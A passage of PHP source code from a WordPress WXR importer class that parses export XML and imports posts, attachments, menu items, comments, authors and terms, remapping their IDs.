	 * Set the user mapping.
	 *
	 * @param array $mapping List of map arrays (containing `old_slug`, `old_id`, `new_id`)
	 */
	public function set_user_mapping( $mapping ) {
		foreach ( $mapping as $map ) {
			if ( empty( $map['old_slug'] ) || empty( $map['old_id'] ) || empty( $map['new_id'] ) ) {
				$this->logger->warning( __( 'Invalid author mapping', 'wordpress-importer' ) );
				$this->logger->debug( var_export( $map, true ) );
				continue;
			}

			$old_slug = $map['old_slug'];
			$old_id   = $map['old_id'];
			$new_id   = $map['new_id'];

			$this->mapping['user'][ $old_id ]        = $new_id;
			$this->mapping['user_slug'][ $old_slug ] = $new_id;
		}
	}

	/**
	 * Set the user slug overrides.
	 *
	 * Allows overriding the slug in the import with a custom/renamed version.
	 *
	 * @param string[] $overrides Map of old slug to new slug.
	 */
	public function set_user_slug_overrides( $overrides ) {
		foreach ( $overrides as $original => $renamed ) {
			$this->user_slug_override[ $original ] = $renamed;
		}
	}

	/**
	 * Parse a post node into post data.
	 *
	 * @param \DOMNode $node Parent node of post data (typically `item`).
	 * @return array|WP_Error Post data array on success, error otherwise.
	 */
	protected function parse_post_node( $node ) {
		$data = array();
		$meta = array();
		$comments = array();
		$terms = array();

		foreach ( $node->childNodes as $child ) {
			// We only care about child elements
			if ( $child->nodeType !== XML_ELEMENT_NODE ) {
				continue;
			}

			switch ( $child->tagName ) {
				case 'wp:post_type':
					$data['post_type'] = $child->textContent;
					break;

				case 'title':
					$data['post_title'] = $child->textContent;
					break;

				case 'guid':
					$data['guid'] = $child->textContent;
					break;

				case 'dc:creator':
					$data['post_author'] = $child->textContent;
					break;

				case 'content:encoded':
					$data['post_content'] = $child->textContent;
					break;

				case 'excerpt:encoded':
					$data['post_excerpt'] = $child->textContent;
					break;

				case 'wp:post_id':
					$data['post_id'] = $child->textContent;
					break;

				case 'wp:post_date':
					$data['post_date'] = $child->textContent;
					break;

				case 'wp:post_date_gmt':
					$data['post_date_gmt'] = $child->textContent;
					break;

				case 'wp:comment_status':
					$data['comment_status'] = $child->textContent;
					break;

				case 'wp:ping_status':
					$data['ping_status'] = $child->textContent;
					break;

				case 'wp:post_name':
					$data['post_name'] = $child->textContent;
					break;

				case 'wp:status':
					$data['post_status'] = $child->textContent;

					if ( $data['post_status'] === 'auto-draft' ) {
						// Bail now
						return new WP_Error(
							'wxr_importer.post.cannot_import_draft',
							__( 'Cannot import auto-draft posts' ),
							$data
						);
					}
					break;

				case 'wp:post_parent':
					$data['post_parent'] = $child->textContent;
					break;

				case 'wp:menu_order':
					$data['menu_order'] = $child->textContent;
					break;

				case 'wp:post_password':
					$data['post_password'] = $child->textContent;
					break;

				case 'wp:is_sticky':
					$data['is_sticky'] = $child->textContent;
					break;

				case 'wp:attachment_url':
					$data['attachment_url'] = $child->textContent;
					break;

				case 'wp:postmeta':
					$meta_item = $this->parse_meta_node( $child );
					if ( ! empty( $meta_item ) ) {
						$meta[] = $meta_item;
					}
					break;

				case 'wp:comment':
					$comment_item = $this->parse_comment_node( $child );
					if ( ! empty( $comment_item ) ) {
						$comments[] = $comment_item;
					}
					break;

				case 'category':
					$term_item = $this->parse_category_node( $child );
					if ( ! empty( $term_item ) ) {
						$terms[] = $term_item;
					}
					break;
			}
		}

		return compact( 'data', 'meta', 'comments', 'terms' );
	}

	/**
	 * Create new posts based on import information
	 *
	 * Posts marked as having a parent which doesn't exist will become top level items.
	 * Doesn't create a new post if: the post type doesn't exist, the given post ID
	 * is already noted as imported or a post with the same title and date already exists.
	 * Note that new/updated terms, comments and meta are imported for the last of the above.
	 *
	 * @param array $data     Post data.
	 * @param array $meta     Meta data.
	 * @param array $comments Comments on the post.
	 * @param array $terms    Terms on the post.
	 */
	protected function process_post( $data, $meta, $comments, $terms ) {
		/**
		 * Pre-process post data.
		 *
		 * @param array $data Post data. (Return empty to skip.)
		 * @param array $meta Meta data.
		 * @param array $comments Comments on the post.
		 * @param array $terms Terms on the post.
		 */
		$data = apply_filters( 'wxr_importer.pre_process.post', $data, $meta, $comments, $terms );
		if ( empty( $data ) ) {
			return false;
		}

		$original_id = isset( $data['post_id'] )     ? (int) $data['post_id']     : 0;
		$parent_id   = isset( $data['post_parent'] ) ? (int) $data['post_parent'] : 0;

		// Have we already processed this?
		if ( isset( $this->mapping['post'][ $original_id ] ) ) {
			return false;
		}

		$post_type_object = get_post_type_object( $data['post_type'] );

		// Is this type even valid?
		if ( ! $post_type_object ) {
			$this->logger->warning( sprintf(
				__( 'Failed to import "%s": Invalid post type %s', 'wordpress-importer' ),
				$data['post_title'],
				$data['post_type']
			) );
			return false;
		}

		$post_exists = $this->post_exists( $data );
		if ( $post_exists ) {
			$this->logger->info( sprintf(
				__( '%s "%s" already exists.', 'wordpress-importer' ),
				$post_type_object->labels->singular_name,
				$data['post_title']
			) );

			// Even though this post already exists, new comments might need importing
			$this->process_comments( $comments, $original_id, $data, $post_exists );

			return false;
		}

		// Map the parent post, or mark it as one we need to fix
		$requires_remapping = false;
		if ( $parent_id ) {
			if ( isset( $this->mapping['post'][ $parent_id ] ) ) {
				$data['post_parent'] = $this->mapping['post'][ $parent_id ];
			} else {
				$meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id );
				$requires_remapping = true;

				$data['post_parent'] = 0;
			}
		}

		// Map the author, or mark it as one we need to fix
		$author = sanitize_user( $data['post_author'], true );
		if ( empty( $author ) ) {
			// Missing or invalid author, use default if available.
			$data['post_author'] = $this->options['default_author'];
		} elseif ( isset( $this->mapping['user_slug'][ $author ] ) ) {
			$data['post_author'] = $this->mapping['user_slug'][ $author ];
		} else {
			$meta[] = array( 'key' => '_wxr_import_user_slug', 'value' => $author );
			$requires_remapping = true;

			$data['post_author'] = (int) get_current_user_id();
		}

		// Does the post look like it contains attachment images?
		if ( preg_match( self::REGEX_HAS_ATTACHMENT_REFS, $data['post_content'] ) ) {
			$meta[] = array( 'key' => '_wxr_import_has_attachment_refs', 'value' => true );
			$requires_remapping = true;
		}

		// Whitelist to just the keys we allow
		$postdata = array(
			'import_id' => $data['post_id'],
		);
		$allowed = array(
			'post_author'    => true,
			'post_date'      => true,
			'post_date_gmt'  => true,
			'post_content'   => true,
			'post_excerpt'   => true,
			'post_title'     => true,
			'post_status'    => true,
			'post_name'      => true,
			'comment_status' => true,
			'ping_status'    => true,
			'guid'           => true,
			'post_parent'    => true,
			'menu_order'     => true,
			'post_type'      => true,
			'post_password'  => true,
		);
		foreach ( $data as $key => $value ) {
			if ( ! isset( $allowed[ $key ] ) ) {
				continue;
			}

			$postdata[ $key ] = $data[ $key ];
		}

		$postdata = apply_filters( 'wp_import_post_data_processed', wp_slash( $postdata ), $data );

		if ( 'attachment' === $postdata['post_type'] ) {
			if ( ! $this->options['fetch_attachments'] ) {
				$this->logger->notice( sprintf(
					__( 'Skipping attachment "%s", fetching attachments disabled' ),
					$data['post_title']
				) );
				return false;
			}
			$remote_url = ! empty( $data['attachment_url'] ) ? $data['attachment_url'] : $data['guid'];
			$post_id = $this->process_attachment( $postdata, $meta, $remote_url );
		} else {
			$post_id = wp_insert_post( $postdata, true );
			do_action( 'wp_import_insert_post', $post_id, $original_id, $postdata, $data );
		}

		if ( is_wp_error( $post_id ) ) {
			$this->logger->error( sprintf(
				__( 'Failed to import "%s" (%s)', 'wordpress-importer' ),
				$data['post_title'],
				$post_type_object->labels->singular_name
			) );
			$this->logger->debug( $post_id->get_error_message() );

			/**
			 * Post processing failed.
			 *
			 * @param WP_Error $post_id Error object.
			 * @param array $data Raw data imported for the post.
			 * @param array $meta Raw meta data, already processed by {@see process_post_meta}.
			 * @param array $comments Raw comment data, already processed by {@see process_comments}.
			 * @param array $terms Raw term data, already processed.
			 */
			do_action( 'wxr_importer.process_failed.post', $post_id, $data, $meta, $comments, $terms );
			return false;
		}

		// Ensure stickiness is handled correctly too
		if ( $data['is_sticky'] === '1' ) {
			stick_post( $post_id );
		}

		// map pre-import ID to local ID
		$this->mapping['post'][ $original_id ] = (int) $post_id;
		if ( $requires_remapping ) {
			$this->requires_remapping['post'][ $post_id ] = true;
		}
		$this->mark_post_exists( $data, $post_id );

		$this->logger->info( sprintf(
			__( 'Imported "%s" (%s)', 'wordpress-importer' ),
			$data['post_title'],
			$post_type_object->labels->singular_name
		) );
		$this->logger->debug( sprintf(
			__( 'Post %d remapped to %d', 'wordpress-importer' ),
			$original_id,
			$post_id
		) );

		// Handle the terms too
		$terms = apply_filters( 'wp_import_post_terms', $terms, $post_id, $data );

		if ( ! empty( $terms ) ) {
			$term_ids = array();
			foreach ( $terms as $term ) {
				$taxonomy = $term['taxonomy'];
				$key = sha1( $taxonomy . ':' . $term['slug'] );

				if ( isset( $this->mapping['term'][ $key ] ) ) {
					$term_ids[ $taxonomy ][] = (int) $this->mapping['term'][ $key ];
				} else {

					/**
					 * Fix for the post format "categories".
					 * The issue in this importer is, that these post formats are misused as categories in WP export
					 * (as the export data <category> item in the post export item), but they are not actually
					 * exported as wp:category items in the XML file, so they need to be inserted on the fly (here).
					 *
					 * Maybe something better can be done in the future?
					 *
					 * Original issue reported here: https://wordpress.org/support/topic/post-format-videoquotegallery-became-format-standard/#post-8447683
					 *
					 */
					if ( 'post_format' === $taxonomy ) {
						$term_exists = term_exists( $term['slug'], $taxonomy );
						$term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists;

						if ( empty( $term_id ) ) {
							$t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) );
							if ( ! is_wp_error( $t ) ) {
								$term_id = $t['term_id'];
								$this->mapping['term'][ $key ] = $term_id;
							} else {
								$this->logger->warning( sprintf(
									esc_html__( 'Failed to import term: %s - %s', 'wordpress-importer' ),
									esc_html( $taxonomy ),
									esc_html( $term['name'] )
								) );
								continue;
							}
						}

						if ( ! empty( $term_id ) ) {
							$term_ids[ $taxonomy ][] = intval( $term_id );
						}
					} // End of fix.
					else {
						$meta[] = array( 'key' => '_wxr_import_term', 'value' => $term );
						$requires_remapping = true;
					}
				}
			}

			foreach ( $term_ids as $tax => $ids ) {
				$tt_ids = wp_set_post_terms( $post_id, $ids, $tax );
				do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $data );
			}
		}

		$this->process_comments( $comments, $post_id, $data );
		$this->process_post_meta( $meta, $post_id, $data );

		if ( 'nav_menu_item' === $data['post_type'] ) {
			$this->process_menu_item_meta( $post_id, $data, $meta );
		}

		/**
		 * Post processing completed.
		 *
		 * @param int $post_id New post ID.
		 * @param array $data Raw data imported for the post.
		 * @param array $meta Raw meta data, already processed by {@see process_post_meta}.
		 * @param array $comments Raw comment data, already processed by {@see process_comments}.
		 * @param array $terms Raw term data, already processed.
		 */
		do_action( 'wxr_importer.processed.post', $post_id, $data, $meta, $comments, $terms );
	}

	/**
	 * Attempt to create a new menu item from import data
	 *
	 * Fails for draft, orphaned menu items and those without an associated nav_menu
	 * or an invalid nav_menu term. If the post type or term object which the menu item
	 * represents doesn't exist then the menu item will not be imported (waits until the
	 * end of the import to retry again before discarding).
	 *
	 * @param int $post_id Menu item post ID.
	 * @param array $data  Menu item details from WXR file.
	 * @param array $meta  Menu item meta details.
	 */
	protected function process_menu_item_meta( $post_id, $data, $meta ) {

		$item_type = get_post_meta( $post_id, '_menu_item_type', true );
		$original_object_id = get_post_meta( $post_id, '_menu_item_object_id', true );
		$object_id = null;

		$this->logger->debug( sprintf( 'Processing menu item %s', $item_type ) );

		$requires_remapping = false;
		switch ( $item_type ) {
			case 'taxonomy':
				if ( isset( $this->mapping['term_id'][ $original_object_id ] ) ) {
					$object_id = $this->mapping['term_id'][ $original_object_id ];
				} else {
					add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) );
					$requires_remapping = true;
				}
				break;

			case 'post_type':
				if ( isset( $this->mapping['post'][ $original_object_id ] ) ) {
					$object_id = $this->mapping['post'][ $original_object_id ];
				} else {
					add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) );
					$requires_remapping = true;
				}
				break;

			case 'custom':
				// Custom refers to itself, wonderfully easy.
				$object_id = $post_id;
				break;

			default:
				// associated object is missing or not imported yet, we'll retry later
				$this->missing_menu_items[] = $data;
				$this->logger->debug( 'Unknown menu item type' );
				break;
		}

		if ( $requires_remapping ) {
			$this->requires_remapping['post'][ $post_id ] = true;
		}

		if ( empty( $object_id ) ) {
			// Nothing needed here.
			return;
		}

		$this->logger->debug( sprintf( 'Menu item %d mapped to %d', $original_object_id, $object_id ) );
		update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $object_id ) );
	}

	/**
	 * If fetching attachments is enabled then attempt to create a new attachment
	 *
	 * @param array  $post       Attachment post details from WXR.
	 * @param array  $meta       Attachment post meta details.
	 * @param string $remote_url URL to fetch attachment from.
	 *
	 * @return int|WP_Error Post ID on success, WP_Error otherwise
	 */
	protected function process_attachment( $post, $meta, $remote_url ) {
		// try to use _wp_attached file for upload folder placement to ensure the same location as the export site
		// e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
		$post['upload_date'] = $post['post_date'];
		foreach ( $meta as $meta_item ) {
			if ( $meta_item['key'] !== '_wp_attached_file' ) {
				continue;
			}

			if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta_item['value'], $matches ) ) {
				$post['upload_date'] = $matches[0];
			}
			break;
		}

		// if the URL is absolute, but does not contain address, then upload it assuming base_site_url
		if ( preg_match( '|^/[\w\W]+$|', $remote_url ) ) {
			$remote_url = rtrim( $this->base_url, '/' ) . $remote_url;
		}

		$upload = $this->fetch_remote_file( $remote_url, $post );
		if ( is_wp_error( $upload ) ) {
			return $upload;
		}

		$info = wp_check_filetype( $upload['file'] );
		if ( ! $info ) {
			return new WP_Error( 'attachment_processing_error', __( 'Invalid file type', 'wordpress-importer' ) );
		}

		$post['post_mime_type'] = $info['type'];

		// WP really likes using the GUID for display. Allow updating it.
		// See https://core.trac.wordpress.org/ticket/33386
		if ( $this->options['update_attachment_guids'] ) {
			$post['guid'] = $upload['url'];
		}

		// as per wp-admin/includes/upload.php
		$post_id = wp_insert_attachment( $post, $upload['file'] );
		if ( is_wp_error( $post_id ) ) {
			return $post_id;
		}

		$attachment_metadata = wp_generate_attachment_metadata( $post_id, $upload['file'] );
		wp_update_attachment_metadata( $post_id, $attachment_metadata );

		// Map this image URL later if we need to
		$this->url_remap[ $remote_url ] = $upload['url'];

		// If we have a HTTPS URL, ensure the HTTP URL gets replaced too
		if ( substr( $remote_url, 0, 8 ) === 'https://' ) {
			$insecure_url = 'http' . substr( $remote_url, 5 );
			$this->url_remap[ $insecure_url ] = $upload['url'];
		}

		if ( $this->options['aggressive_url_search'] ) {
			// remap resized image URLs, works by stripping the extension and remapping the URL stub.
			/*if ( preg_match( '!^image/!', $info['type'] ) ) {
				$parts = pathinfo( $remote_url );
				$name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2

				$parts_new = pathinfo( $upload['url'] );
				$name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" );

				$this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new;
			}*/
		}

		return $post_id;
	}

	/**
	 * Parse a meta node into meta data.
	 *
	 * @param \DOMNode $node Parent node of meta data (typically `wp:postmeta` or `wp:commentmeta`).
	 * @return array|null Meta data array on success, or null on error.
	 */
	protected function parse_meta_node( $node ) {
		foreach ( $node->childNodes as $child ) {
			// We only care about child elements
			if ( $child->nodeType !== XML_ELEMENT_NODE ) {
				continue;
			}

			switch ( $child->tagName ) {
				case 'wp:meta_key':
					$key = $child->textContent;
					break;

				case 'wp:meta_value':
					$value = $child->textContent;
					break;
			}
		}

		if ( empty( $key ) || ! isset( $value ) ) {
			return null;
		}

		return compact( 'key', 'value' );
	}

	/**
	 * Process and import post meta items.
	 *
	 * @param array $meta List of meta data arrays
	 * @param int $post_id Post to associate with
	 * @param array $post Post data
	 * @return int|WP_Error Number of meta items imported on success, error otherwise.
	 */
	protected function process_post_meta( $meta, $post_id, $post ) {
		if ( empty( $meta ) ) {
			return true;
		}

		foreach ( $meta as $meta_item ) {
			/**
			 * Pre-process post meta data.
			 *
			 * @param array $meta_item Meta data. (Return empty to skip.)
			 * @param int $post_id Post the meta is attached to.
			 */
			$meta_item = apply_filters( 'wxr_importer.pre_process.post_meta', $meta_item, $post_id );
			if ( empty( $meta_item ) ) {
				return false;
			}

			$key = apply_filters( 'import_post_meta_key', $meta_item['key'], $post_id, $post );
			$value = false;

			if ( '_edit_last' === $key ) {
				$value = intval( $meta_item['value'] );
				if ( ! isset( $this->mapping['user'][ $value ] ) ) {
					// Skip!
					continue;
				}

				$value = $this->mapping['user'][ $value ];
			}

			if ( $key ) {
				// export gets meta straight from the DB so could have a serialized string
				if ( ! $value ) {
					$value = maybe_unserialize( $meta_item['value'] );
				}

				add_post_meta( $post_id, wp_slash( $key ), wp_slash_strings_only( $value ) );
				do_action( 'import_post_meta', $post_id, $key, $value );

				// if the post has a featured image, take note of this in case of remap
				if ( '_thumbnail_id' === $key ) {
					$this->featured_images[ $post_id ] = (int) $value;
				}
			}
		}

		return true;
	}

	/**
	 * Parse a comment node into comment data.
	 *
	 * @param \DOMNode $node Parent node of comment data (typically `wp:comment`).
	 * @return array Comment data array.
	 */
	protected function parse_comment_node( $node ) {
		$data = array(
			'commentmeta' => array(),
		);

		foreach ( $node->childNodes as $child ) {
			// We only care about child elements
			if ( $child->nodeType !== XML_ELEMENT_NODE ) {
				continue;
			}

			switch ( $child->tagName ) {
				case 'wp:comment_id':
					$data['comment_id'] = $child->textContent;
					break;
				case 'wp:comment_author':
					$data['comment_author'] = $child->textContent;
					break;

				case 'wp:comment_author_email':
					$data['comment_author_email'] = $child->textContent;
					break;

				case 'wp:comment_author_IP':
					$data['comment_author_IP'] = $child->textContent;
					break;

				case 'wp:comment_author_url':
					$data['comment_author_url'] = $child->textContent;
					break;

				case 'wp:comment_user_id':
					$data['comment_user_id'] = $child->textContent;
					break;

				case 'wp:comment_date':
					$data['comment_date'] = $child->textContent;
					break;

				case 'wp:comment_date_gmt':
					$data['comment_date_gmt'] = $child->textContent;
					break;

				case 'wp:comment_content':
					$data['comment_content'] = $child->textContent;
					break;

				case 'wp:comment_approved':
					$data['comment_approved'] = $child->textContent;
					break;

				case 'wp:comment_type':
					$data['comment_type'] = $child->textContent;
					break;

				case 'wp:comment_parent':
					$data['comment_parent'] = $child->textContent;
					break;

				case 'wp:commentmeta':
					$meta_item = $this->parse_meta_node( $child );
					if ( ! empty( $meta_item ) ) {
						$data['commentmeta'][] = $meta_item;
					}
					break;
			}
		}

		return $data;
	}

	/**
	 * Process and import comment data.
	 *
	 * @param array   $comments    List of comment data arrays.
	 * @param int     $post_id     Post to associate with.
	 * @param array   $post        Post data.
	 * @param boolean $post_exists Boolean if the post already exists.
	 *
	 * @return int|WP_Error Number of comments imported on success, error otherwise.
	 */
	protected function process_comments( $comments, $post_id, $post, $post_exists = false ) {

		$comments = apply_filters( 'wp_import_post_comments', $comments, $post_id, $post );
		if ( empty( $comments ) ) {
			return 0;
		}

		$num_comments = 0;

		// Sort by ID to avoid excessive remapping later
		usort( $comments, array( $this, 'sort_comments_by_id' ) );

		foreach ( $comments as $key => $comment ) {
			/**
			 * Pre-process comment data
			 *
			 * @param array $comment Comment data. (Return empty to skip.)
			 * @param int $post_id Post the comment is attached to.
			 */
			$comment = apply_filters( 'wxr_importer.pre_process.comment', $comment, $post_id );
			if ( empty( $comment ) ) {
				return false;
			}

			$original_id = isset( $comment['comment_id'] )      ? (int) $comment['comment_id']      : 0;
			$parent_id   = isset( $comment['comment_parent'] )  ? (int) $comment['comment_parent']  : 0;
			$author_id   = isset( $comment['comment_user_id'] ) ? (int) $comment['comment_user_id'] : 0;

			// if this is a new post we can skip the comment_exists() check
			// TODO: Check comment_exists for performance
			if ( $post_exists ) {
				$existing = $this->comment_exists( $comment );
				if ( $existing ) {
					$this->mapping['comment'][ $original_id ] = $existing;
					continue;
				}
			}

			// Remove meta from the main array
			$meta = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array();
			unset( $comment['commentmeta'] );

			// Map the parent comment, or mark it as one we need to fix
			$requires_remapping = false;
			if ( $parent_id ) {
				if ( isset( $this->mapping['comment'][ $parent_id ] ) ) {
					$comment['comment_parent'] = $this->mapping['comment'][ $parent_id ];
				} else {
					// Prepare for remapping later
					$meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id );
					$requires_remapping = true;

					// Wipe the parent for now
					$comment['comment_parent'] = 0;
				}
			}

			// Map the author, or mark it as one we need to fix
			if ( $author_id ) {
				if ( isset( $this->mapping['user'][ $author_id ] ) ) {
					$comment['user_id'] = $this->mapping['user'][ $author_id ];
				} else {
					// Prepare for remapping later
					$meta[] = array( 'key' => '_wxr_import_user', 'value' => $author_id );
					$requires_remapping = true;

					// Wipe the user for now
					$comment['user_id'] = 0;
				}
			}

			// Run standard core filters
			$comment['comment_post_ID'] = $post_id;
			$comment = wp_filter_comment( $comment );

			// wp_insert_comment expects slashed data
			$comment_id = wp_insert_comment( wp_slash( $comment ) );
			$this->mapping['comment'][ $original_id ] = $comment_id;
			if ( $requires_remapping ) {
				$this->requires_remapping['comment'][ $comment_id ] = true;
			}
			$this->mark_comment_exists( $comment, $comment_id );

			/**
			 * Comment has been imported.
			 *
			 * @param int $comment_id New comment ID
			 * @param array $comment Comment inserted (`comment_id` item refers to the original ID)
			 * @param int $post_id Post parent of the comment
			 * @param array $post Post data
			 */
			do_action( 'wp_import_insert_comment', $comment_id, $comment, $post_id, $post );

			// Process the meta items
			foreach ( $meta as $meta_item ) {
				$value = maybe_unserialize( $meta_item['value'] );
				add_comment_meta( $comment_id, wp_slash( $meta_item['key'] ), wp_slash( $value ) );
			}

			/**
			 * Post processing completed.
			 *
			 * @param int $post_id New post ID.
			 * @param array $comment Raw data imported for the comment.
			 * @param array $meta Raw meta data, already processed by {@see process_post_meta}.
			 * @param array $post_id Parent post ID.
			 */
			do_action( 'wxr_importer.processed.comment', $comment_id, $comment, $meta, $post_id );

			$num_comments++;
		}

		return $num_comments;
	}

	/**
	 * Parse the category node.
	 *
	 * @param \DOMNode $node The category node.
	 *
	 * @return array|null
	 */
	protected function parse_category_node( $node ) {
		$data = array(
			// Default taxonomy to "category", since this is a `<category>` tag
			'taxonomy' => 'category',
		);
		$meta = array();

		if ( $node->hasAttribute( 'domain' ) ) {
			$data['taxonomy'] = $node->getAttribute( 'domain' );
		}
		if ( $node->hasAttribute( 'nicename' ) ) {
			$data['slug'] = $node->getAttribute( 'nicename' );
		}

		$data['name'] = $node->textContent;

		if ( empty( $data['slug'] ) ) {
			return null;
		}

		// Just for extra compatibility
		if ( $data['taxonomy'] === 'tag' ) {
			$data['taxonomy'] = 'post_tag';
		}

		return $data;
	}

	/**
	 * Callback for `usort` to sort comments by ID
	 *
	 * @param array $a Comment data for the first comment
	 * @param array $b Comment data for the second comment
	 *
	 * @return int
	 */
	public static function sort_comments_by_id( $a, $b ) {
		if ( empty( $a['comment_id'] ) ) {
			return 1;
		}

		if ( empty( $b['comment_id'] ) ) {
			return -1;
		}

		return $a['comment_id'] - $b['comment_id'];
	}

	protected function parse_author_node( $node ) {
		$data = array();
		$meta = array();
		foreach ( $node->childNodes as $child ) {
			// We only care about child elements
			if ( $child->nodeType !== XML_ELEMENT_NODE ) {
				continue;
			}

			switch ( $child->tagName ) {
				case 'wp:author_login':
					$data['user_login'] = $child->textContent;
					break;

				case 'wp:author_id':
					$data['ID'] = $child->textContent;
					break;

				case 'wp:author_email':
					$data['user_email'] = $child->textContent;
					break;

				case 'wp:author_display_name':
					$data['display_name'] = $child->textContent;
					break;

				case 'wp:author_first_name':
					$data['first_name'] = $child->textContent;
					break;

				case 'wp:author_last_name':
					$data['last_name'] = $child->textContent;
					break;
			}
		}

		return compact( 'data', 'meta' );
	}

	/**
	 * Process author.
	 *
	 * @param array $data The author data from WXR file.
	 * @param array $meta The author meta data from WXR file.
	 */
	protected function process_author( $data, $meta ) {
		/**
		 * Pre-process user data.
		 *
		 * @param array $data User data. (Return empty to skip.)
		 * @param array $meta Meta data.
		 */
		$data = apply_filters( 'wxr_importer.pre_process.user', $data, $meta );
		if ( empty( $data ) ) {
			return false;
		}

		// Have we already handled this user?
		$original_id = isset( $data['ID'] ) ? $data['ID'] : 0;
		$original_slug = $data['user_login'];

		if ( isset( $this->mapping['user'][ $original_id ] ) ) {
			$existing = $this->mapping['user'][ $original_id ];

			// Note the slug mapping if we need to too
			if ( ! isset( $this->mapping['user_slug'][ $original_slug ] ) ) {
				$this->mapping['user_slug'][ $original_slug ] = $existing;
			}

			return false;
		}

		if ( isset( $this->mapping['user_slug'][ $original_slug ] ) ) {
			$existing = $this->mapping['user_slug'][ $original_slug ];

			// Ensure we note the mapping too
			$this->mapping['user'][ $original_id ] = $existing;

			return false;
		}

		// Allow overriding the user's slug
		$login = $original_slug;
		if ( isset( $this->user_slug_override[ $login ] ) ) {
			$login = $this->user_slug_override[ $login ];
		}

		$userdata = array(
			'user_login'   => sanitize_user( $login, true ),
			'user_pass'    => wp_generate_password(),
		);

		$allowed = array(
			'user_email'   => true,
			'display_name' => true,
			'first_name'   => true,
			'last_name'    => true,
		);
		foreach ( $data as $key => $value ) {
			if ( ! isset( $allowed[ $key ] ) ) {
				continue;
			}

			$userdata[ $key ] = $data[ $key ];
		}

		$user_id = wp_insert_user( wp_slash( $userdata ) );
		if ( is_wp_error( $user_id ) ) {
			$this->logger->error( sprintf(
				__( 'Failed to import user "%s"', 'wordpress-importer' ),
				$userdata['user_login']
			) );
			$this->logger->debug( $user_id->get_error_message() );

			/**
			 * User processing failed.
			 *
			 * @param WP_Error $user_id Error object.
			 * @param array $userdata Raw data imported for the user.
			 */
			do_action( 'wxr_importer.process_failed.user', $user_id, $userdata );
			return false;
		}

		if ( $original_id ) {
			$this->mapping['user'][ $original_id ] = $user_id;
		}
		$this->mapping['user_slug'][ $original_slug ] = $user_id;

		$this->logger->info( sprintf(
			__( 'Imported user "%s"', 'wordpress-importer' ),
			$userdata['user_login']
		) );
		$this->logger->debug( sprintf(
			__( 'User %d remapped to %d', 'wordpress-importer' ),
			$original_id,
			$user_id
		) );

		// TODO: Implement meta handling once WXR includes it
		/**
		 * User processing completed.
		 *
		 * @param int $user_id New user ID.
		 * @param array $userdata Raw data imported for the user.
		 */
		do_action( 'wxr_importer.processed.user', $user_id, $userdata );
	}


	/**
	 * Parse term node.
	 *
	 * @param \DOMNode $node The term node from WXR file.
	 * @param string   $type The type of the term node.
	 *
	 * @return array|null
	 */
	protected function parse_term_node( $node, $type = 'term' ) {
		$data = array();
		$meta = array();

		$tag_name = array(
			'id'          => 'wp:term_id',
			'taxonomy'    => 'wp:term_taxonomy',
			'slug'        => 'wp:term_slug',
			'parent'      => 'wp:term_parent',
			'name'        => 'wp:term_name',
			'description' => 'wp:term_description',
			'termmeta'    => 'wp:termmeta',
		);
		$taxonomy = null;

		// Special casing!
		switch ( $type ) {
			case 'category':
				$tag_name['slug']        = 'wp:category_nicename';
				$tag_name['parent']      = 'wp:category_parent';
				$tag_name['name']        = 'wp:cat_name';
				$tag_name['description'] = 'wp:category_description';
				$tag_name['taxonomy']    = null;

				$data['taxonomy'] = 'category';
				break;

			case 'tag':
				$tag_name['slug']        = 'wp:tag_slug';
				$tag_name['parent']      = null;
				$tag_name['name']        = 'wp:tag_name';
				$tag_name['description'] = 'wp:tag_description';
				$tag_name['taxonomy']    = null;

				$data['taxonomy'] = 'post_tag';
				break;
		}

		foreach ( $node->childNodes as $child ) {
			// We only care about child elements
			if ( $child->nodeType !== XML_ELEMENT_NODE ) {
				continue;
			}

			$key = array_search( $child->tagName, $tag_name );
			if ( $key ) {
				$data[ $key ] = $child->textContent;
			} else if ( $child->tagName == 'wp:termmeta' ) {
				$meta_item = $this->parse_meta_node( $child );
				if ( ! empty( $meta_item ) ) {
					$meta[] = $meta_item;
				}
			}
		}

		if ( empty( $data['taxonomy'] ) ) {
			return null;
		}

		// Compatibility with WXR 1.0
		if ( $data['taxonomy'] === 'tag' ) {
			$data['taxonomy'] = 'post_tag';
		}

		return compact( 'data', 'meta' );
	}

	/**
	 * Process term.
	 *
	 * @param array $data The term data from WXR file.
	 * @param array $meta The term meta data from WXR file.
	 */
	protected function process_term( $data, $meta ) {
		/**
		 * Pre-process term data.
		 *
		 * @param array $data Term data. (Return empty to skip.)
		 * @param array $meta Meta data.
		 */
		$data = apply_filters( 'wxr_importer.pre_process.term', $data, $meta );
		if ( empty( $data ) ) {
			return false;
		}

		$original_id = isset( $data['id'] ) ? (int) $data['id'] : 0;

		/* FIX for OCDI!
		 * As of WP 4.5, export.php returns the SLUG for the term's parent,
		 * rather than an integer ID (this differs from a post_parent)
		 * wp_insert_term and wp_update_term use the key: 'parent' and an integer value 'id'
		 */
		$term_slug   = isset( $data['slug'] ) ? $data['slug'] : '';
		$parent_slug = isset( $data['parent'] ) ? $data['parent'] : '';

		$mapping_key = sha1( $data['taxonomy'] . ':' . $data['slug'] );
		$existing = $this->term_exists( $data );
		if ( $existing ) {
			$this->mapping['term'][ $mapping_key ] = $existing;
			$this->mapping['term_id'][ $original_id ] = $existing;
			$this->mapping['term_slug'][ $term_slug ] = $existing;
			return false;
		}

		// WP really likes to repeat itself in export files
		if ( isset( $this->mapping['term'][ $mapping_key ] ) ) {
			return false;
		}

		$termdata = array();
		$allowed = array(
			'slug' => true,
			'description' => true,
			'parent' => true, // The parent_id may have already been set, so pass this back to the newly inserted term.
		);

		// Map the parent comment, or mark it as one we need to fix
		$requires_remapping = false;
		if ( $parent_slug ) {
